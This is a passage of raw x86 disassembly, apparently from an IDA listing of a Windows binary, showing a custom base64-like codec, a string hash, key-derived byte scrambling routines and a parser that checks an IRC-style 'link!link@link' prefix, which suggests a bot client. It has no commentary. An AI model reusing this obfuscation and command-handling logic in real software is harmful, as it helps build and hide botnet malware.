		cmp	[ebp+var_1138],	0
		jnz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Ah
		jnz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		movsx	eax, byte ptr [eax+1]
		cmp	eax, 3Dh
		jnz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		movsx	eax, byte ptr [eax+2]
		test	eax, eax
		jz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		inc	eax
		inc	eax
		push	eax
		call	sub_40EC96
		pop	ecx
		test	eax, eax
		jz	loc_40E7A5
		mov	eax, [ebp+var_113C]
		inc	eax
		push	eax
		mov	eax, [ebp+var_113C]
		inc	eax
		inc	eax
		push	eax
		call	sub_40E9C9
		pop	ecx
		pop	ecx
		mov	[ebp+var_1190],	eax
		push	[ebp+var_1190]
		mov	eax, [ebp+var_113C]
		inc	eax
		push	eax
		call	sub_40F040
		pop	ecx
		pop	ecx
		mov	[ebp+var_1190],	eax
		push	[ebp+var_1190]
		mov	eax, [ebp+var_113C]
		inc	eax
		push	eax
		call	sub_40EF41
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_113C]
		add	eax, [ebp+var_1190]
		and	byte ptr [eax+1], 0
		push	0Dh
		lea	eax, [ebp+var_1180]
		push	eax
		lea	eax, [ebp+var_113C]
		push	eax
		push	[ebp+var_1180]
		push	[ebp+var_113C]
		call	sub_407928
		add	esp, 14h


loc_40E7A5:				; CODE XREF: sub_40E618+9Dj
					; sub_40E618+AAj ...
		push	offset aLinkLink@link ;	"link!link@link"
		push	[ebp+var_1148]
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_40E853
		and	[ebp+var_1194],	0
		jmp	short loc_40E7D5
; ---------------------------------------------------------------------------


loc_40E7C8:				; CODE XREF: sub_40E618+234j
		mov	eax, [ebp+var_1194]
		inc	eax
		mov	[ebp+var_1194],	eax


loc_40E7D5:				; CODE XREF: sub_40E618+1AEj
		mov	eax, [ebp+var_1194]
		cmp	off_41DA5C[eax*4], 0
		jnz	short loc_40E7E7
		jmp	short loc_40E851
; ---------------------------------------------------------------------------


loc_40E7E7:				; CODE XREF: sub_40E618+1CBj
		mov	eax, [ebp+var_1194]
		push	off_41DA5C[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_1194]
		push	off_41DA5C[eax*4]
		mov	eax, [ebp+var_1148]
		inc	eax
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_40E839
		mov	eax, [ebp+var_1194]
		push	off_41DA5C[eax*4]
		call	sub_4105AD
		pop	ecx
		mov	[ebp+var_4], 1
		jmp	short loc_40E851
; ---------------------------------------------------------------------------


loc_40E839:				; CODE XREF: sub_40E618+203j
		mov	eax, [ebp+var_1194]
		push	off_41DA5C[eax*4]
		call	sub_4105AD
		pop	ecx
		jmp	loc_40E7C8
; ---------------------------------------------------------------------------


loc_40E851:				; CODE XREF: sub_40E618+1CDj
					; sub_40E618+21Fj
		jmp	short loc_40E85A
; ---------------------------------------------------------------------------


loc_40E853:				; CODE XREF: sub_40E618+1A1j
		mov	[ebp+var_4], 1


loc_40E85A:				; CODE XREF: sub_40E618:loc_40E851j
		and	[ebp+var_88], 0
		mov	[ebp+var_114C],	1
		jmp	short loc_40E87A
; ---------------------------------------------------------------------------


loc_40E86D:				; CODE XREF: sub_40E618:loc_40E90Aj
		mov	eax, [ebp+var_114C]
		inc	eax
		mov	[ebp+var_114C],	eax


loc_40E87A:				; CODE XREF: sub_40E618+253j
		cmp	[ebp+var_114C],	80h
		jge	loc_40E90F
		mov	eax, [ebp+var_1148]
		add	eax, [ebp+var_114C]
		movsx	eax, byte ptr [eax]
		cmp	eax, 21h
		jnz	short loc_40E8B6
		mov	[ebp+var_88], 1
		mov	eax, [ebp+var_114C]
		and	byte ptr [ebp+eax+var_88+3], 0


loc_40E8B6:				; CODE XREF: sub_40E618+284j
		cmp	[ebp+var_88], 0
		jnz	short loc_40E8DA
		mov	eax, [ebp+var_1148]
		add	eax, [ebp+var_114C]
		mov	ecx, [ebp+var_114C]
		mov	al, [eax]
		mov	byte ptr [ebp+ecx+var_88+3], al


loc_40E8DA:				; CODE XREF: sub_40E618+2A5j
		mov	eax, [ebp+var_1148]
		add	eax, [ebp+var_114C]
		mov	ecx, [ebp+var_114C]
		mov	al, [eax]
		mov	[ebp+ecx+var_1109], al
		mov	eax, [ebp+var_1148]
		add	eax, [ebp+var_114C]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40E90A
		jmp	short loc_40E90F
; ---------------------------------------------------------------------------


loc_40E90A:				; CODE XREF: sub_40E618+2EEj
		jmp	loc_40E86D
; ---------------------------------------------------------------------------


loc_40E90F:				; CODE XREF: sub_40E618+26Cj
					; sub_40E618+2F0j
		and	[ebp+var_5], 0
		and	[ebp+var_1089],	0
		lea	eax, [ebp+var_118C]
		push	eax
		lea	eax, [ebp+var_1148]
		push	eax
		lea	eax, [ebp+var_1108]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		push	[ebp+var_4]
		call	sub_40D871
		add	esp, 14h

locret_40E941:				; CODE XREF: sub_40E618:loc_40E686j
		leave
		retn
sub_40E618	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E943	proc near		; CODE XREF: sub_416ADB-21p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_40E94E:				; CODE XREF: sub_40E943+32j
		mov	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40E960
		jmp	short locret_40E977
; ---------------------------------------------------------------------------


loc_40E960:				; CODE XREF: sub_40E943+19j
		push	[ebp+var_8]
		call	sub_407B5E
		pop	ecx
		mov	[ebp+var_4], eax
		push	[ebp+var_8]
		call	sub_40E618
		pop	ecx
		jmp	short loc_40E94E
; ---------------------------------------------------------------------------

locret_40E977:				; CODE XREF: sub_40E943+1Bj
		leave
		retn
sub_40E943	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E979	proc near		; CODE XREF: .text:004168D5p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_40E98A
; ---------------------------------------------------------------------------


loc_40E983:				; CODE XREF: sub_40E979+24j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40E98A:				; CODE XREF: sub_40E979+8j
		cmp	[ebp+var_4], 100h
		jnb	short loc_40E99F
		mov	eax, [ebp+var_4]
		and	byte_41E9B0[eax], 0
		jmp	short loc_40E983
; ---------------------------------------------------------------------------


loc_40E99F:				; CODE XREF: sub_40E979+18j
		and	[ebp+var_4], 0
		jmp	short loc_40E9AC
; ---------------------------------------------------------------------------


loc_40E9A5:				; CODE XREF: sub_40E979+4Cj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40E9AC:				; CODE XREF: sub_40E979+2Aj
		cmp	[ebp+var_4], 40h
		jnb	short locret_40E9C7
		mov	eax, [ebp+var_4]
		movzx	eax, byte_41A18C[eax]
		mov	cl, byte ptr [ebp+var_4]
		mov	byte_41E9B0[eax], cl
		jmp	short loc_40E9A5
; ---------------------------------------------------------------------------

locret_40E9C7:				; CODE XREF: sub_40E979+37j
		leave
		retn
sub_40E979	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E9C9	proc near		; CODE XREF: sub_40A9CF+34Cp
					; sub_40A9CF+E18p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 2
		jnb	short loc_40E9E8
		xor	eax, eax
		jmp	locret_40EB4C
; ---------------------------------------------------------------------------


loc_40E9E8:				; CODE XREF: sub_40E9C9+16j
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0


loc_40E9F0:				; CODE XREF: sub_40E9C9+17Aj
		push	1
		pop	eax
		test	eax, eax
		jz	loc_40EB48
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EA29
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41E9B0[eax]
		shl	eax, 2
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	[ecx-1], al
		jmp	short loc_40EA2E
; ---------------------------------------------------------------------------


loc_40EA29:				; CODE XREF: sub_40E9C9+40j
		jmp	loc_40EB48
; ---------------------------------------------------------------------------


loc_40EA2E:				; CODE XREF: sub_40E9C9+5Ej
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EA66
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41E9B0[eax]
		sar	eax, 4
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx-1]
		or	cl, al
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		mov	[eax-1], cl
		jmp	short loc_40EA6B
; ---------------------------------------------------------------------------


loc_40EA66:				; CODE XREF: sub_40E9C9+72j
		jmp	loc_40EB48
; ---------------------------------------------------------------------------


loc_40EA6B:				; CODE XREF: sub_40E9C9+9Bj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EA99
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41E9B0[eax]
		shl	eax, 4
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	[ecx-1], al
		jmp	short loc_40EA9E
; ---------------------------------------------------------------------------


loc_40EA99:				; CODE XREF: sub_40E9C9+B0j
		jmp	loc_40EB48
; ---------------------------------------------------------------------------


loc_40EA9E:				; CODE XREF: sub_40E9C9+CEj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EAD6
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41E9B0[eax]
		sar	eax, 2
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx-1]
		or	cl, al
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		mov	[eax-1], cl
		jmp	short loc_40EAD8
; ---------------------------------------------------------------------------


loc_40EAD6:				; CODE XREF: sub_40E9C9+E2j
		jmp	short loc_40EB48
; ---------------------------------------------------------------------------


loc_40EAD8:				; CODE XREF: sub_40E9C9+10Bj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EB06
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41E9B0[eax]
		shl	eax, 6
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	[ecx-1], al
		jmp	short loc_40EB08
; ---------------------------------------------------------------------------


loc_40EB06:				; CODE XREF: sub_40E9C9+11Dj
		jmp	short loc_40EB48
; ---------------------------------------------------------------------------


loc_40EB08:				; CODE XREF: sub_40E9C9+13Bj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_C]
		jnb	short loc_40EB3A
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx-1]
		or	cl, byte_41E9B0[eax]
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		mov	[eax-1], cl
		jmp	short loc_40EB3C
; ---------------------------------------------------------------------------


loc_40EB3A:				; CODE XREF: sub_40E9C9+14Cj
		jmp	short loc_40EB48
; ---------------------------------------------------------------------------


loc_40EB3C:				; CODE XREF: sub_40E9C9+16Fj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		jmp	loc_40E9F0
; ---------------------------------------------------------------------------


loc_40EB48:				; CODE XREF: sub_40E9C9+2Cj
					; sub_40E9C9:loc_40EA29j ...
		mov	eax, [ebp+var_4]
		dec	eax

locret_40EB4C:				; CODE XREF: sub_40E9C9+1Aj
		leave
		retn
sub_40E9C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EB4E	proc near		; CODE XREF: sub_40A9CF+292p
					; sub_40A9CF+D12p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		and	[ebp+var_C], 0


loc_40EB60:				; CODE XREF: sub_40EB4E:loc_40EC83j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		sar	eax, 2
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		shl	eax, 4
		and	eax, 30h
		mov	[ebp+var_4], al
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnz	short loc_40EBC2
		movzx	eax, [ebp+var_4]
		or	al, 1
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		jmp	loc_40EC88
; ---------------------------------------------------------------------------


loc_40EBC2:				; CODE XREF: sub_40EB4E+52j
		movzx	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx]
		sar	ecx, 4
		and	ecx, 0Fh
		or	eax, ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		shl	eax, 2
		and	eax, 3Ch
		mov	[ebp+var_4], al
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnz	short loc_40EC2A
		movzx	eax, [ebp+var_4]
		or	al, 1
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		jmp	short loc_40EC88
; ---------------------------------------------------------------------------


loc_40EC2A:				; CODE XREF: sub_40EB4E+BDj
		movzx	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		movzx	ecx, byte ptr [ecx]
		sar	ecx, 6
		or	eax, ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movzx	eax, byte ptr [eax]
		and	eax, 3Fh
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_C]
		mov	al, byte_41A18C[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnz	short loc_40EC83
		jmp	short loc_40EC88
; ---------------------------------------------------------------------------


loc_40EC83:				; CODE XREF: sub_40EB4E+131j
		jmp	loc_40EB60
; ---------------------------------------------------------------------------


loc_40EC88:				; CODE XREF: sub_40EB4E+6Fj
					; sub_40EB4E+DAj ...
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_C]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_C]
		leave
		retn
sub_40EB4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EC96	proc near		; CODE XREF: sub_40A9CF+2FAp
					; sub_40E618+FDp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		jmp	short loc_40ECB4
; ---------------------------------------------------------------------------


loc_40ECAD:				; CODE XREF: sub_40EC96+3Aj
					; sub_40EC96+4Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40ECB4:				; CODE XREF: sub_40EC96+15j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jge	short loc_40ECE6
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		movzx	eax, byte_41E9B0[eax]
		test	eax, eax
		jz	short loc_40ECD2
		jmp	short loc_40ECAD
; ---------------------------------------------------------------------------


loc_40ECD2:				; CODE XREF: sub_40EC96+38j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 41h
		jnz	short loc_40ECE2
		jmp	short loc_40ECAD
; ---------------------------------------------------------------------------


loc_40ECE2:				; CODE XREF: sub_40EC96+48j
		xor	eax, eax
		jmp	short locret_40ECE9
; ---------------------------------------------------------------------------


loc_40ECE6:				; CODE XREF: sub_40EC96+24j
		push	1
		pop	eax

locret_40ECE9:				; CODE XREF: sub_40EC96+4Ej
		leave
		retn
sub_40EC96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ECEB	proc near		; CODE XREF: .text:004168EFp

var_58		= byte ptr -58h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F11F
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F159
		add	esp, 0Ch
		lea	eax, [ebp+var_58]
		push	eax
		push	offset byte_41EAB4
		call	sub_40F26E
		pop	ecx
		pop	ecx
		lea	eax, byte_41EAB4
		push	10h
		pop	edx


loc_40ED29:				; CODE XREF: sub_40ECEB+46j
		mov	cl, [eax]
		rol	cl, cl
		mov	[eax], cl
		inc	eax
		dec	edx
		jnz	short loc_40ED29
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40ECEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ED38	proc near		; CODE XREF: sub_40A9CF+14p
					; sub_41113B+159p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		xor	ecx, ecx
		xor	eax, eax


loc_40ED45:				; CODE XREF: sub_40ED38+2Fj
		mov	cl, [esi]
		test	ecx, ecx
		jz	short loc_40ED69
		cmp	ecx, 61h
		jb	short loc_40ED53
		sub	ecx, 20h


loc_40ED53:				; CODE XREF: sub_40ED38+16j
		and	ecx, 7Fh
		add	eax, ecx
		and	ecx, 0Fh
		mov	cl, byte_41EAB4[ecx]
		add	eax, ecx
		rol	eax, 3
		inc	esi
		jmp	short loc_40ED45
; ---------------------------------------------------------------------------


loc_40ED69:				; CODE XREF: sub_40ED38+11j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40ED38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ED6E	proc near		; CODE XREF: .text:004168FDp

var_58		= byte ptr -58h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F11F
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F159
		add	esp, 0Ch
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_41EAC8
		call	sub_40F26E
		pop	ecx
		pop	ecx
		lea	esi, dword_41EAC8
		mov	edi, esi
		push	10h
		pop	ecx


loc_40EDAE:				; CODE XREF: sub_40ED6E+48j
		lodsb
		xor	al, 0AAh
		add	al, al
		or	al, 1
		stosb
		loop	loc_40EDAE
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40ED6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EDBD	proc near		; CODE XREF: sub_40EF29+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_40EDCE
; ---------------------------------------------------------------------------


loc_40EDC7:				; CODE XREF: sub_40EDBD+AFj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40EDCE:				; CODE XREF: sub_40EDBD+8j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jge	locret_40EE71
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		sub	al, 33h
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [eax+edx]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_8]
		mov	al, [eax]
		sub	al, [ecx+edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [eax+edx]
		not	eax
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx]
		xor	cl, al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	[eax], cl
		mov	eax, [ebp+arg_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		shl	edx, 2
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		xor	al, dl
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		add	al, 1
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	loc_40EDC7
; ---------------------------------------------------------------------------

locret_40EE71:				; CODE XREF: sub_40EDBD+17j
		leave
		retn
sub_40EDBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EE73	proc near		; CODE XREF: sub_40EF41+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_40EE84
; ---------------------------------------------------------------------------


loc_40EE7D:				; CODE XREF: sub_40EE73+AFj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40EE84:				; CODE XREF: sub_40EE73+8j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jge	locret_40EF27
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		sub	al, 1
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		shl	edx, 2
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		xor	al, dl
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [eax+edx]
		not	eax
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx]
		xor	cl, al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	[eax], cl
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [eax+edx]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_8]
		mov	al, [eax]
		add	al, [ecx+edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		add	al, 33h
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	loc_40EE7D
; ---------------------------------------------------------------------------

locret_40EF27:				; CODE XREF: sub_40EE73+17j
		leave
		retn
sub_40EE73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EF29	proc near		; CODE XREF: sub_40A9CF+25Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	offset dword_41EAC8
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40EDBD
		add	esp, 0Ch
		pop	ebp
		retn
sub_40EF29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EF41	proc near		; CODE XREF: sub_40A9CF+380p
					; sub_40D871+7ADp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	offset dword_41EAC8
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40EE73
		add	esp, 0Ch
		pop	ebp
		retn
sub_40EF41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EF59	proc near		; CODE XREF: sub_40A9CF+271p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		mov	eax, [ebp+arg_0]
		add	eax, 4
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		call	sub_410422
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, 4
		mov	[ebp+arg_0], eax
		and	[ebp+var_8], 0
		jmp	short loc_40EF91
; ---------------------------------------------------------------------------


loc_40EF8A:				; CODE XREF: sub_40EF59+7Ej
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_40EF91:				; CODE XREF: sub_40EF59+2Fj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]
		jge	short loc_40EFD9
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		add	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		push	1
		push	[ebp+var_4]
		call	sub_416DF6	; _rotl
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jmp	short loc_40EF8A
; ---------------------------------------------------------------------------


loc_40EFD9:				; CODE XREF: sub_40EF59+3Ej
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	[ebp+var_8], eax
